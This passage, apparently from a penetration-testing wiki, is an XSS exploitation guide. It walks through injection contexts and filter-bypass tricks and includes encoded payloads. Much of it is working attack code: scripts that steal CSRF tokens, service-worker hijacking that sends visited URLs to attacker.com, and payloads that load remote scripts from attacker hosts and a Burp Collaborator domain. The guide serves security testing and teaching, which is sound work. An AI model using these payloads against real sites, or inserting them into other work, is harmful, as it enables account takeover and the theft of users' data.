Can you create new events/attributes to execute JS code?
Does the attribute where you are trapped support JS execution?
Can you bypass protections?
Inside JavaScript code:
Can you escape the <script> tag?
Can you escape the string and execute different JS code?
Are your input in template literals ``?
Can you bypass protections?
If used:
You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.
Reflected values
In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.
Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.
Contexts
When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.
Raw HTML
If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script ... these are just some of the many possible HTML tags you could use.
Also, keep in mind Client Side Template Injection.
Inside HTML tags attribute
If your input is reflected inside the value of the attribute of a tag you could try:
To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]
If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="
If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
If your input is reflected inside "unexpoitable tags" you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="
Inside JavaScript code
In this case your input is reflected between <script> [...] </script> tags of a HTML page, inside a **.js**file or inside an attribute using javascript: protocol:
If reflected between <script> [...] </script> tags, even if your input if inside any kind of quotes, you can try to inject </script> and escape from this context. This works because the browser will first parse the HTML tags and then the content, therefore, it won't notice that your injected </script> tag is inside the HTML code.
If reflected inside a JS string and the last trick isn't working you would need to exit the string, execute your code and reconstruct the JS code (if there is any error, it won't be executed:
'-alert(1)-'
';-alert(1)//
\';alert(1)//
If reflected inside template literals `` you can embed JS expressions using ${ ... } syntax: ```var greetings =``Hello, ${alert(1)}```
DOM
There is JS code that is using unsafely some data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
{% page-ref page="dom-xss.md" %}
Universal XSS
These kind of XSS can be found anywhere. They not depend just on the client exploitation of a web application but on anycontext. These kind of arbitrary JavaScript execution can even be abuse to obtain RCE, readarbitraryfiles in clients and servers, and more.
Some examples:
When your input is reflected inside the HTML page or you can escape and inject HTML code in this context the first thing you need to do if check if you can abuse < to create new tags: Just try to reflect that char and check if it's being HTML encoded or deleted of if it is reflected without changes. Only in the last case you will be able to exploit this case.
For this cases also keep in mindClient Side Template Injection.Note: A HTML comment can be closed using --> or --!>
In this case and if no black/whitelisting is used, you could use payloads like:
But, if tags/attributes black/whitelisting is being used, you will need to brute-force which tags you can create.
Once you have located which tags are allowed, you would need to brute-force attributes/events inside the found valid tags to see how you can attack the context.
Tags/Events brute-force
Go to https://portswigger.net/web-security/cross-site-scripting/cheat-sheet and click on Copy tags to clipboard. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can brute force all the events using the valid tags (in the same web page click on Copy events to clipboard and follow the same procedure as before).
Custom tags
If you didn't find any valid HTML tag, you could try to create a custom tag and and execute JS code with the onfocus attribute. In the XSS request, you need to end the URL with # to make the page focus on that object and execute the code:
If some kind of blacklist is being used you could try to bypass it with some silly tricks:
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1')</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerror=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
The last one is using 2 unicode characters which expands to 5: telsr
More of these characters can be found here.
To check in which characters are decomposed check here.
More tiny XSS payload can be found here.
Click XSS - Clickjacking
If in order to exploit the vulnerability you need the user to click a link or a form with prepopulated data you could try to abuse Clickjacking (if the page is vulnerable).
Impossible - Dangling Markup
If you just think that it's impossible to create an HTML tag with an attribute to execute JS code, you should check Danglig Markupbecause you could exploit the vulnerability without executing JS code.
Injecting inside HTML tag
Inside the tag/escaping from attribute value
If you are in inside a HTML tag, the first thing you could try is to escape from the tag and use some of the techniques mentioned in the previous section to execute JS code.
If you cannot escape from the tag, you could create new attributes inside the tag to try to execute JS code, for example using some payload like (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):
" autofocus onfocus=alert(document.domain) x="
Style events
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>
#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
Within the attribute
Even if you cannot escape from the attribute (" is being encoded or deleted), depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked.
Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
Bypass inside event using HTML encoding/URL encode
The HTML encoded characters inside the value of HTML tags attributes are decoded on runtime. Therefore something like the following will be valid (the payload is in bold): <a id="author" href="http://none" onclick="var tracker='http://foo?'-alert(1)-'';">Go Back </a>
Note that any kind of HTML encode is valid:
//HTML entities
'-alert(1)-'
//HTML hex without zeros
'-alert(1)-'
//HTML hex with zeros
'-alert(1)-'
//HTML dec without zeros
'-alert(1)-'
//HTML dec with zeros
'-alert(1)-'
<a href="javascript:var a=''-alert(1)-''">
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
Special Protocols Within the attribute
There you can use the protocols javascript: or data: in some places to execute arbitrary JS code. Some will require user interaction on some won't.
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript:alert(1)
javascript:alert(1)
javascript:alert(1)
javascriptΪlert(1)
java //Note the new line
script:alert(1)
data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==
Places where you can inject these protocols
In general the javascript: protocol can be used in any tag that accepts the attribute href and in most of the tags that accepts the attribute src (but not <img)
Moreover, there is another nice trick for these cases**: Even if your input inside javascript:... is being URL encoded, it will be URL decoded before it's executed.** So, if you need to escape from the string using a single quote and you see that it's being URL encoded, remember that it doesn't matter, it will be interpreted as a single quote during the execution time.
Note that if you try to use bothURLencode + HTMLencode in any order to encode the payload it won'twork, but you can mix them inside the payload.
Using Hex and Octal encode with javascript:
You can use Hex and Octal encode inside the src attribute of iframe (at least) to declare HTML tags to execute JS:
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />
//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
Reverse tab nabbing
<a target="_blank" rel="opener"
If you can inject any URL in an arbitrary <a href= tag that contains the target="_blank" and rel="opener" attributes, check the following page to exploit this behavior:
XSS in "Unexploitable tags" (input hidden, link, canonical)
From here:
You can execute an XSS payload inside a hidden attribute, provided you can persuade the victim into pressing the key combination. On Firefox Windows/Linux the key combination is ALT+SHIFT+X and on OS X it is CTRL+ALT+X. You can specify a different key combination using a different key in the access key attribute. Here is the vector:
The XSS payload will be something like this: " accesskey="x" onclick="alert(1)" x="
Blacklist Bypasses
Several tricks with using different encoding were exposed already inside this section. Go back to learn where can you use HTML encoding, Unicode encoding, URL encoding, Hex and Octal encoding and even data encoding.
In these case you input is going to be reflected inside the JS code of a .js file or between <script>...</script> tags or between HTML events that can execute JS code or between attributes that accepts the javascript: protocol.
Escaping <script> tag
If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:
Note that in this example we haven't even closed the single quote, but that's not necessary as the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts.
Inside JS code
If <> are being sanitised you can still escape the string where your input is being located and execute arbitrary JS. It's important to fix JS syntax, because if there are any errors, the JS code won't be executed:
In order to construct strings apart from single and double quotes JS also accepts backticks```````` . This is known as template literals as they allow to embedded JS expressions using ${ ... } syntax.
Therefore, if you find that your input is being reflected inside a JS string that is using backticks, you can abuse the syntax `${ ... }` to execute arbitrary JS code:
This can be abused using: ${alert(1)}
Encoded code execution
<script>\u0061lert(1)</script>
<svg><script>alert('1')
<svg><script>alert(1)</script></svg> <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">
//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line
JavaScript new lines (from JavaScript new line trick)
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8
There is JS code that is using unsafely data controlled by an attacker like location.href . An attacker, could abuse this to execute arbitrary JS code.
Due to the extension of the explanation ofDOM vulnerabilities it was moved to this page:
{% page-ref page="dom-xss.md" %}
There you will find a detailed explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them.
Also, don't forget that at the end of the mentioned post you can find an explanation about DOM Clobbering attacks.
Other Bypasses
Normalised Unicode
You could check is the reflected values are being unicode normalized in the server (or in the client side) and abuse this functionality to bypass protections. Find an example here.
PHP FILTER_VALIDATE_EMAIL flag Bypass
"><svg/onload=confirm(1)>"@x.y
Ruby-On-Rails bypass
Due to RoR mass assignment quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields (onfocus) can be added inside the tag.
Form example (from this report), if you send the payload:
If you find that you can inject headers in a 302 Redirect response you could try to make the browser execute arbitrary JavaScript. This is not trivial as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.
In this report and this one you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.
Past known protocols: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
{% hint style="info" %} You won't be able to access the cookies from JavaScript if the HTTPOnly flag is set in the cookie. But here you have some ways to bypass this protection if you are lucky enough. {% endhint %}
When any data is introduced in the password field, the username and password is sent to the attackers server, even if the client selects a saved password and don't write anything the credentials will be ex-filtrated.
Keylogger
Just searching in github I found a few different ones:
You can also use metasploit http_javascript_keylogger
XSS - Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
A service worker is a script that your browser runs in the background, separate from a web page, opening the door to features that don't need a web page or user interaction. (More info about what is a service worker here).
The goal of this attack is to create service workers on the victim session inside the vulnerable web domain that grant the attacker control over all the pages the victim will load in that domain.
In order to exploit this vulnerability you need to find:
A way to upload arbitrary JS files to the server and a XSS to load the service worker of the uploaded JS file
A vulnerable JSONP request where you can manipulate the output (with arbitrary JS code) and a XSS to load the JSONP with a payload that will load a malicious service worker.
In the following example I'm going to present a code to register a new service worker that will listen to the fetch event and will send to the attackers server each fetched URL (this is the code you would need to upload to the server or load via a vulnerable JSONP response):
And this is the code that will register the worker (the code you should be able to execute abusing a XSS). In this case a GET request will be sent to the attackers server notifying if the registration of the service worker was successful or not:
<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>
In case of abusing a vulnerable JSONP endpoint you should put the value inside var sw. For example:
var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";
There is C2 dedicated to the exploitation of Service Workers called Shadow Workers that will be very useful to abuse these vulnerabilities.
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
Got XSS on a site that uses caching? Try upgrading that to SSRF through Edge Side Include Injection with this payload:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie restrictions, XSS filters and much more!
More information about this technique here: XSLT.
XSS in dynamic created PDF
If a web page is creating a PDF using user controlled input, you can try to trick the bot that is creating the PDF into executing arbitrary JS code.
So, if the PDF creator bot finds some kind of HTMLtags, it is going to interpret them, and you can abuse this behaviour to cause a Server XSS.
//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line
for (let j = 0; j < 128; j++) {
for (let k = 0; k < 128; k++) {
for (let l = 0; l < 128; l++) {
if (j == 34 || k ==34 || l ==34)
continue;
if (j == 0x0a || k ==0x0a || l ==0x0a)
continue;
if (j == 0x0d || k ==0x0d || l ==0x0d)
continue;
if (j == 0x3c || k ==0x3c || l ==0x3c)
continue;
if (
(j == 47 && k == 47)
||(k == 47 && l == 47)
)
continue;
try {
var cmd = String.fromCharCode(j) + String.fromCharCode(k) + String.fromCharCode(l) + 'a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue
err = e.toString().split('\n')[0]
}
console.log(err,cmd);
}
}
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
Javascript New Lines
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8
for (let j = 0; j < 65536; j++) {
try {
var cmd = '"aaaaa";'+String.fromCharCode(j) + '-->a.orange.ctf"';
eval(cmd);
} catch(e) {
var err = e.toString().split('\n')[0].split(':')[0];
if (err === 'SyntaxError' || err === "ReferenceError")
continue;
err = e.toString().split('\n')[0]
}
console.log(`[${err}]`,j,cmd);
}
//From: https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#bounty-pl33z
Surrogate Pairs
This technique won't be very useful for XSS but it could be useful to bypass WAF protections. This python code receive as input 2bytes and it search a surrogate pairs that have the first byte as the the last bytes of the High surrogate pair and the the last byte as the last byte of the low surrogate pair.
def unicode(findHex):
for i in range(0,0xFFFFF):
H = hex(int(((i - 0x10000) / 0x400) + 0xD800))
h = chr(int(H[-2:],16))
L = hex(int(((i - 0x10000) % 0x400 + 0xDC00)))
l = chr(int(L[-2:],16))
if(h == findHex[0]) and (l == findHex[1]):
print(H.replace("0x","\\u")+L.replace("0x","\\u"))
The decrement operator -- is also an asignment. This operator takes a value and then decrements it by one. If that value is not a number, it will be set to NaN. This can be used to remove the content of variables from the environment.
Arrow functions
Arrow functions allow you to generate functions in a single line more easily (if you understand them)
// Traditional
function (a){ return a + 1; }
// Arrow forms
a => a + 100;
a => {a + 100};
// Traditional
function (a, b){ return a + b + 1; }
// Arrow
(a, b) => a + b + 100;
// Tradictional no args
let a = 4;
let b = 2;
function (){ return a + b + 1; }
// Arrow
let a = 4;
let b = 2;
() => a + b + 1;
So, most of the previous functions are actually useless because we aren't saving them anywhere to save and call them. Example creating the plusone function:
// Traductional
function plusone (a){ return a + 1; }
//Arrow
plusone = a => a + 100;
Bind function
The bind function allow to create a copy of a function modifying the this object and the parameters given.
//This will use the this object and print "Hello World"
var fn = function ( param1, param2 ) {
console.info( this, param1, param2 );
}
fn('Hello', 'World')
//This will still use the this object and print "Hello World"
var copyFn = fn.bind();
copyFn('Hello', 'World')
//This will use the "console" object as "this" object inside the function and print "fixingparam1 Hello"
var bindFn_change = fn.bind(console, "fixingparam1");
bindFn_change('Hello', 'World')
//This will still use the this object and print "fixingparam1 Hello"
var bindFn_thisnull = fn.bind(null, "fixingparam1");
bindFn_change('Hello', 'World')
//This will still use the this object and print "fixingparam1 Hello"
var bindFn_this = fn.bind(this, "fixingparam1");
bindFn_change('Hello', 'World')
{% hint style="info" %} Note that using bind you can manipulate the this object that is going to be used when calling the function. {% endhint %}
Function code leak
If you can access the object of a function you can get the code of that function
function afunc(){
return 1+1;
}
console.log(afunc.toString()); //This will print the code of the function
console.log(String(afunc)); //This will print the code of the function
console.log(this.afunc.toString()); //This will print the code of the function
console.log(global.afunc.toString()); //This will print the code of the function
In cases where the function doesn't have any name, you can still print the function code from within:
//Taken from https://github.com/svennergr/writeups/blob/master/inti/0621/README.md
const puppeteer = require("puppeteer");
const realPasswordLength = 3000;
async function sleep(ms) {
return new Promise((resolve) => setTimeout(resolve, ms));
}
(async () => {
const browser = await puppeteer.launch();
const page = await browser.newPage();
//Loop to iterate through different values
for (let i = 0; i < 10000; i += 100) {
console.log(`Run number ${i}`);
const input = `${"0".repeat(i)}${realPasswordLength}`;
console.log(` https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000`);
//Go to the page
await page.goto(
`https://challenge-0621.intigriti.io/passgen.php?passwordLength=${input}&allowNumbers=true&allowSymbols=true×tamp=1624556811000`
);
//Call function "generate()" inside the page
await page.evaluate("generate()");
//Get node inner text from an HTML element
const passwordContent = await page.$$eval(
".alert .page-content",
(node) => node[0].innerText
);
//Transform the content and print it in console
const plainPassword = passwordContent.replace("Your password is: ", "");
if (plainPassword.length != realPasswordLength) {
console.log(i, plainPassword.length, plainPassword);
}
await sleep(1000);
}
await browser.close();
})();
